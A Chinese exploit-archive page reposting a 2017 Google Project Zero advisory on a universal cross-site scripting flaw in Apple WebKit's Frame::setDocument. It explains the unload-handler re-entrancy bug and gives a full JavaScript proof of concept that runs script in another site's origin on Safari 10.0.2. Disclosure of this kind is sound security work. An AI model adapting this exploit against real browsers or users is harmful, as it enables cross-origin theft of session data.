首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple WebKit 10.0.2 - 'Frame::setDocument' Universal Cross-Site Scripting
来源:Google Security Research 作者:Google 发布时间:2017-02-27  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057
 
Here's a snippet of Frame::setDocument.
 
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);
 
    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();
 
    m_doc = newDocument.copyRef();
    ...
}
 
Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.
 
PoC:
-->
 
"use strict";
 
let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
 
a.contentWindow.onunload = () => {
    f.src = "javascript:''";
 
    let b = f.contentDocument.appendChild(document.createElement("iframe"));
    b.contentWindow.onunload = () => {
        f.src = "javascript:''";
 
        let doc = f.contentDocument;
 
        f.onload = () => {
            f.onload = () => {
                f.onload = null;
 
                let s = doc.createElement("form");
                s.action = "javascript:alert(location)";
                s.submit();
            };
 
            f.src = "https://abc.xyz/";
        };
 
    };
};
 
f.src = "javascript:''";
 
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple WebKit 10.0.2 - Cross-Or
·Microsoft Edge and Internet Ex
·Apple WebKit 10.0.2 - 'FrameLo
·Linux Kernel 4.4.0 (Ubuntu) -
·macOS HelpViewer 10.12.1 - XSS
·Linux Kernel 4.4.0 (Ubuntu) -
·Microsoft Edge / Internet Expl
·Trend Micro InterScan Messagin
·Disk Savvy Enterprise 9.4.18 -
·MVPower DVR Shell Unauthentica
·Google Chrome - 'layout' Out-o
·NETGEAR DGN2200v1/v2/v3/v4 - '
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved